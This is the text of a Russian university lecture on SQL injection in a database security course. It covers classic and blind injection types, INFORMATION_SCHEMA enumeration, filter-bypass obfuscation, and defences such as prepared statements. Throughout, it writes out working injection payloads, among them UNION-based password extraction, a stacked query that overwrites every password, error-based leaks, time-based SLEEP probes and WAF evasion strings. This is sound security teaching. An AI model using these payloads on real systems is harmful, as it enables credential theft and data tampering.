САМАРСКИЙ УНИВЕРСИТЕТ
SAMARA UNIVERSITY

Безопасность систем баз данных

Лекция 12
SQL-инъекции

Агафонов Антон Александрович
к.т.н., доцент кафедры ГИиИБ

Самара

План лекции

- Типы SQL – инъекций (классические и слепые)
- INFORMATION_SCHEMA
- Методы противодействия

Определение

Внедрение SQL-кода (SQL-инъекции) – атаки, внедряющие в пользовательский ввод произвольные SQL-команды, позволяющие изменить логику исполняемого SQL-запроса.

Область использования:

- Web – приложения
- Настольные приложения, если параметры запросов считываются из настроечных файлов или задаются пользователями

Результат:

- Нарушение целостности данных
- Нарушение конфиденциальности
- Нарушение доступности

Внедрение тождественно истинного выражения

```
SELECT * FROM users WHERE username='username' AND password='password';
```

HTTP GET-запрос:

```
/auth?username=<user>&password=<pass>
```

Код проверки введенных данных

```
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";

response = mysql_query($sql);
```

HTTP GET-запрос:

```
/auth?username=A.C.%20Иванов&password=12346bubhxak
```

```
SELECT * FROM users WHERE username='A.C. Иванов' AND password='12346bubhxak';
```

	id	username	password
	1	A.C. Иванов	12346bubhxak

Внедрение тождественно истинного выражения

```
SELECT * FROM users WHERE username='$username' AND password='$password';
```

HTTP GET-запрос:

```
/auth?username=admin&password=' OR 'a' = 'a
```

Атака:

```
SELECT * FROM users WHERE username='admin' AND password='' OR 'a' = 'a';
```

	id	username	password
	1	А.С. Иванов	12346bubhxak
	2	А.Д. Петрова	93AdvYWEQ
	3	У.Г. Васнецова	12345054321
	4	А.Л. Ильин	ALI1979-qw!
	5	П.С. Тарасов	avocado55
	6	В.К. Иванова	qwertASDFGzxcvb
	7	Р.А. Попов	RA_!@2002
	8	Ж.А. Сидорова	10dfgjQWERTHA10

Основные приёмы при внедрении SQL кода

- Внедрение заведомо истинного условия
  - Внедрение в числовой параметр (внедрение `-1 OR 1=1`)
  - Внедрение в строковый параметр (внедрение `id' OR 1=1`)

```
SELECT * FROM users WHERE username = 'id' OR 1=1
```

- Экранирование (комментирование) хвоста запроса

```
SELECT * FROM users WHERE username = 'A.C. Иванов' -- AND password = 'password';
```

- Генерация ошибок

```
SELECT 1 AND ExtractValue(1,concat(0x5C,(select database())));
Error Code: 1105. XPATH syntax error: '\coronavirus_statistics'
```

Типы SQL-инъекций

В зависимости от методологии проведения атак можно выделить два типа SQL-инъекций:

- *Классические SQL-инъекции* – атаки в условиях, когда приложение получает от сервера ответ, содержащий результат запроса, или сообщение об ошибке, содержащее интересующие данные.
- *Слепые SQL-инъекции* – атаки в условиях, когда ответ сервера не содержит никакой релевантной информации, но может быть интерпретирован как логическое значение.

Классические SQL-инъекции

В зависимости от того, содержится ли данные в ответе сервера в явном виде либо косвенно – в составе сообщения об ошибке, атаки этого вида можно разделить на три подкласса:

- SQL-инъекции на основе объединения;
- SQL-инъекции на основе последовательных запросов ;
- SQL-инъекции на основе возвращаемых ошибок.

SQL-инъекции на основе объединения (Union-based)

Исходный запрос:

```
SELECT book.name FROM book WHERE book.id = $id;
```

HTTP GET-запрос получения данных:

```
/books?id=1
```

Вставка **UNION SELECT** в запрос:

```
/books?id=-1 UNION SELECT users.password FROM users WHERE username = 'admin';
```

```
SELECT book.name FROM book WHERE book.id = -1
UNION
SELECT users.password FROM users WHERE username = 'admin';
```

	name
	157erfdai@njdiQWrtbh

SQL-инъекции на основе объединения (Union-based)

Для корректного запроса с оператором UNION должны быть выполнены два ключевых условия:

- Отдельные запросы должны возвращать одинаковое количество столбцов.
- Типы данных в каждом столбце должны быть совместимы между отдельными запросами.

Для проведения атаки такого типа обычно необходимо получить ответ на два вопроса:

- Сколько столбцов возвращает исходный запрос?
- Какие столбцы исходного запроса имеют подходящий тип данных для вывода результатов внедренного запроса?

Сколько столбцов возвращает исходный запрос?

Вставка: `1 ORDER BY 5 --`
Итоговый запрос:

```
SELECT * FROM book WHERE book.id = 1 ORDER BY 5  --
```

Вывод:

	id	author	name	pages	price
	1	А.С. Пушкин	Капитанская дочка	132	2640.00

Вставка: `1 ORDER BY 6 --`
Итоговый запрос:

```
SELECT * FROM book WHERE book.id = 1 ORDER BY 6  --
```

Вывод:

ERROR: в списке выборки ORDER BY нет элемента 6

Какие столбцы исходного запроса имеют подходящий тип данных для вывода результатов внедренного запроса?

Вставка: `1 UNION SELECT 'a', NULL, NULL, NULL, NULL --`

```
SELECT * FROM book WHERE book.id = 1
UNION
SELECT 'a', NULL, NULL, NULL, NULL --
```

ERROR: неверный синтаксис для типа integer: "a"

Вставка: `1 UNION SELECT NULL, 'a', NULL, NULL, NULL --`

```
SELECT * FROM book WHERE book.id = 1
UNION
SELECT NULL, 'a', NULL, NULL, NULL --
```

	id	author	name	pages	price
	1	А.С. Пушкин	Капитанская дочка	132	2640.00
	NULL	a	NULL	NULL	NULL

SQL-инъекции на основе последовательных запросов (Stacked queries-based)

Вставка:

```
-1; UPDATE users SET password = 'YouShallNotPass!';
```

Итоговый запрос:

```
SELECT * FROM users WHERE username=-1; UPDATE users SET password = 'YouShallNotPass!';
```

Вывод:

	id	username	password
	1	А.С. Иванов	YouShallNotPass!
	2	А.Д. Петрова	YouShallNotPass!
	3	У.Г. Васнецова	YouShallNotPass!
	4	А.Л. Ильин	YouShallNotPass!
	5	П.С. Тарасов	YouShallNotPass!
	6	В.К. Иванова	YouShallNotPass!
	7	Р.А. Попов	YouShallNotPass!
	8	Ж.А. Сидорова	YouShallNotPass!

SQL-инъекция на основе ошибок (Error-based)

- Через **UNION SELECT**
- Через **ORDER BY**

Примеры:

```
SELECT a();

Error Code: 1305. FUNCTION coronavirus_statistics.a does not exist

SELECT extractvalue(rand(),concat(0x3a,(SELECT version())))

Error Code: 1105. XPATH syntax error: ':8.0.26'

SELECT extractvalue(rand(),concat(0x3a,(SELECT username FROM users LIMIT 0,1)))

Error Code: 1105. XPATH syntax error: ':A.C. Иванов'
```

Слепые SQL-инъекции

Слепые SQL-инъекции требуют определенных ухищрений для успешного проведения, поскольку ответ сервера не содержит результат того запроса, на который производится воздействие. В зависимости от того, меняется ли ответ сервера, возвращает ли запрос какие-то данные или нет, отключен вывод ошибок или нет, атаки этого вида можно разделить на три подкласса:

- SQL-инъекции на основе содержимого;
- SQL-инъекции на основе возвращаемых ошибок;
- SQL-инъекции на основе времени исполнения запроса.

SQL-инъекция на основе содержимого (Content-based)

SQL-инъекция на основе содержимого применима в условиях, когда ответ сервера содержит некоторые данные, и в зависимости от того, вернул запрос какой-то результат или нет, изменяется ответ сервера.

Вставка:

```
1 AND EXISTS(SELECT * FROM users
                    WHERE username = 'admin' AND SUBSTRING(password, 1, 1) < 'm')
```

Итоговый запрос:

```
SELECT * FROM book WHERE book.id = 1 AND
EXISTS(SELECT * FROM users
       WHERE username = 'admin' AND SUBSTRING(password, 1, 1) < 'm')
```

Вывод:

	id	author	name	pages	price
	1	А.С. Пушкин	Капитанская дочка	132	2640.00

SQL-инъекция на основе содержимого (Content-based)

Вставка:

```
1 AND EXISTS(SELECT * FROM users
                    WHERE username = 'admin' AND SUBSTRING(password, 1, 1) > 'a')
```

Итоговый запрос:

```
SELECT * FROM book WHERE book.id = 1 AND
EXISTS(SELECT * FROM users
       WHERE username = 'admin' AND SUBSTRING(password, 1, 1) > 'a')
```

Вывод:

	id	author	name	pages	price
*	NULL	NULL	NULL	NULL	NULL

SQL-инъекция на основе ошибок (Error-based)

SQL-инъекция на основе ошибок применима в условиях, когда ответ сервера не меняется в зависимости от того, вернул запрос какой-то результат или нет, но предусмотрено информирование об ошибках. В такой ситуации единственным выходом будет инициировать SQL-ошибки в зависимости от проверяемого условия. Это подразумевает формирование запроса таким образом, чтобы он вызывал ошибку базы данных, если проверяемая гипотеза истинна, и отрабатывал без ошибок, когда гипотеза – ложна.

Вставка: `1 AND ((SELECT CASE WHEN 1=2 THEN 1/0 ELSE 1 END) > 0);`

Итоговый запрос:

```
SELECT * FROM book WHERE book.id = 1 AND
       ((SELECT CASE WHEN 1=2 THEN 1/0 ELSE 1 END) > 0);
```

	id	author	name	pages	price
	1	А.С. Пушкин	Капитанская дочка	132	2640.00

SQL-инъекция на основе ошибок (Error-based)

Вставка: `1 AND ((SELECT CASE WHEN 1=1 THEN 1/0 ELSE 1 END) > 0);`

Итоговый запрос:

```
SELECT * FROM book WHERE book.id = 1 AND
       ((SELECT CASE WHEN 1=1 THEN 1/0 ELSE 1 END) > 0);
```

ERROR: деление на ноль

Итоговый запрос:

```
SELECT * FROM book
WHERE book.id = 1 AND ((SELECT CASE WHEN EXISTS(SELECT * FROM users
                        WHERE username = 'admin' AND SUBSTRING(password, 1, 1) < 'm')
                        THEN 1/0 ELSE 1 END) > 0);
```

ERROR: деление на ноль

Итоговый запрос:

```
SELECT * FROM book
WHERE book.id = 1 AND ((SELECT CASE WHEN EXISTS(SELECT * FROM users
                        WHERE username = 'admin' AND SUBSTRING(password, 1, 1) > 'a')
                        THEN 1/0 ELSE 1 END) > 0);
```

	id	author	name	pages	price
	1	А.С. Пушкин	Капитанская дочка	132	2640.00

SQL-инъекция на основе времени исполнения запроса (Time-based)

Такой тип атак применим в условиях, когда ответ сервера не зависит от результатов запроса, и вывод ошибок также отключен.

Подход заключается в отправке базе данных SQL-запросов, которые вынуждают базу данных ждать определенное количество времени, прежде чем ответить. Время ответа и будет интерпретироваться как логическое значение. Фактически задача сводится к формированию запроса таким образом, чтобы он вызывал задержку исполнения, если проверяемая гипотеза истинна, и отрабатывал без задержки, когда гипотеза ложна.

Истинное выражение вызывает задержку:

```
SELECT * FROM book WHERE book.id = 1; SELECT IF(1=1, SLEEP(15), 0);
```

Ложный запрос выполняется без задержки:

```
SELECT * FROM book WHERE book.id = 1; SELECT IF(1=0, SLEEP(15), 0);
```

SQL-инъекция на основе времени исполнения запроса (Time-based)

Истинное выражение вызывает задержку:

```
SELECT * FROM book WHERE book.id = 1; SELECT IF(EXISTS(SELECT * FROM users
                                                    WHERE username = 'admin' AND
                                                    SUBSTRING(password, 1, 1) < 'm') ,
                                                    SLEEP(15), 0);
```

Ложный запрос выполняется без задержки:

```
SELECT * FROM book WHERE book.id = 1; SELECT IF(EXISTS(SELECT * FROM users
                                                    WHERE username = 'admin' AND
                                                    SUBSTRING(password, 1, 1) > 'a') ,
                                                    SLEEP(15), 0);
```

База данных INFORMATION_SCHEMA

`INFORMATION_SCHEMA` – это база данных, хранящаяся в каждом экземпляре MySQL, в которой хранится информация обо всех других базах данных, которые содержит сервер MySQL.

Содержит представления:

- Schemata
- Tables
- Columns

База данных INFORMATION_SCHEMA. Использование

Получить список всех БД на сервере:

```
SELECT schema_name FROM information_schema.schemata;
```

	SCHEMA_NAME
	mysql
	information_schema
	performance_schema
	sys
	world
	…

Для объединения возвращаемых данных в одну строку можно воспользоваться функцией GROUP_CONCAT:

```
SELECT GROUP_CONCAT(schema_name SEPARATOR ', ') FROM information_schema.schemata;
```

	GROUP_CONCAT(SCHEMA_NAME SEPARATOR ', ')
	mysql, information_schema, performance_schema, sys, world, discogs, sakila, coronavirus_statistics, musicreleases, weather

База данных INFORMATION_SCHEMA. Использование

Получить список всех таблиц для заданной БД:

```
SELECT table_schema, table_name FROM information_schema.tables
WHERE table_schema = 'coronavirus_statistics';
```

	TABLE_SCHEMA	TABLE_NAME
	coronavirus_statistics	country
	coronavirus_statistics	graphs
	coronavirus_statistics	infected

Получить названия всех столбцов заданной таблицы:

```
SELECT column_name FROM information_schema.columns
WHERE table_schema = 'coronavirus_statistics' AND table_name ='graphs';
```

	COLUMN_NAME
	country_ids
	date
	diagram
	id

Противодействие SQL-инъекциям

- Фильтрация пользовательского ввода.
- Использование подготовленных выражений (Prepared Statements) .
- Настройка прав доступа к учетным записям.
- Выдача клиентскому приложению «неинформативных» сообщений об ошибках.

Фильтрация пользовательского ввода

- Реализуемы:
  - на уровне сервера приложения
  - с использованием программно-аппаратного брандмауэра веб-приложений (Web Application Firewall)
- Можно использовать либо готовые классы фильтрации данных, либо реализовать самостоятельно
- Недостаток: обфускация SQL-инъекций (Injection Obfuscation).

Обфускация SQL-инъекций

Обфускация — это приведение исходного текста или исполняемого кода программы к виду, сохраняющему её функциональность, но затрудняющему анализ, понимание алгоритмов работы и модификацию при декомпиляции.

Обфускация SQL-инъекций – это маскировка спецсимволов и ключевых слов в тексте пользовательского ввода.

Приемы обфускации :

- замена логических операций AND и OR их символьными аналогами && и || ;
- использование кодов символов вместо их прямого написания;
- двойное кодирование символов, использование строковых функций;
- добавление SQL комментариев в текст пользовательского ввода;
- использование переменного регистра;
- вложенное дублирование ключевых слов и т.д.

Обфускация SQL-инъекций

Отфильтрованная инъекция	Пропущенная инъекция
Обход фильтрации ключевого слова OR	
`1 or 1 = 1`	`1 || 1 = 1` (сработает в MySQL)
Обход фильтрации ключевого слова OR и символа ‘	
`1 or substr(user,1,1) = 'a'`	`1 || substr(user,1,1) = 0x61`
Обход фильтрации по регулярным выражениям в PHPIDS 0.6 (блокирует запросы, содержащие = или (или ', за которыми следует любая строка или целое число)	

`1 UNION SELECT 1, table_name`
`FROM information_schema.tables`
`WHERE table_name = 'users'`
	`1 UNION SELECT 1, table_name`
	`FROM information_schema.tables`
	`WHERE table_name LIKE 0x7573657273`

Обход фильтрации ключевых слов с использованием SQL комментариев	
`1 union select password from...`	`1 un/**/ion se/**/lect pass/**/word fr/**/om...`
Обход замены ключевых слов пустой строкой	
`1 union select...`	`1 UNunionION SEselectLECT...`

Подготовленные выражения

Подготовленные выражения — это функциональность SQL-баз данных, предназначенная для разделения данных запроса и собственно операторов выполняемого SQL-запроса.

- ▲ Сокращение объема кода — один и тот же подготовленный запрос можно использовать многократно для разных данных.
- ▲ Уменьшение времени выполнения — для подготовленных выражений нет нужды выполнять синтаксический разбор при каждом исполнении, а это довольно затратная операция.
- ▲ Синтаксический разбор выражения производится один раз на этапе его подготовки.
- ▲ Встроенная защита от SQL-инъекций — является прямым следствием того, что синтаксический разбор производится на этапе подготовки.
- ▼ Могут использоваться только для параметризации значений в запросах выборки и модификации данных.
- ▼ Не могут использоваться для параметризации таких значений как имена таблиц или столбцов или параметров сортировки в предложении ORDER BY.
- ▼ Однократные параметризованные запросы работают, как правило, медленнее, чем обычные.

Подготовленные выражения. Примеры.

MySQL

```
PREPARE stmt_name FROM
'SELECT * FROM users
WHERE users.username =?
AND users.password =?';
SET @n = 'admin';
SET @p = '157erfdai@njdiQWrtbh';
EXECUTE stmt_name USING @n, @p;
DEALLOCATE PREPARE stmt_name;
```

PostgreSQL

```
PREPARE st_user AS
SELECT * FROM users
WHERE username=$1 AND password=$2;
EXECUTE
st_user('admin','157erfdai@njdiQWrtbh');
DEALLOCATE PREPARE st_user;
```

	id	username	password
	9	admin	157erfdai@njdiQWrtbh

Подготовленные выражения. Примеры.

MySQL

```
PREPARE stmt_name FROM
'SELECT * FROM users
WHERE users.username =?
AND users.password =?';
SET @n = 'admin';
SET @p = ''' or 1=1';
EXECUTE stmt_name USING @n, @p;
DEALLOCATE PREPARE stmt_name;
```

PostgreSQL

```
PREPARE st_user AS
SELECT * FROM new_scheme.users
WHERE username=$1 AND password=$2;
EXECUTE st_user('admin', ''' or 1=1');
DEALLOCATE PREPARE st_user;
```

	id	username	password

САМАРСКИЙ УНИВЕРСИТЕТ
SAMARA UNIVERSITY

БЛАГОДАРЮ ЗА ВНИМАНИЕ

Агафонов А.А.
к.т.н., доцент кафедры ГИиИБ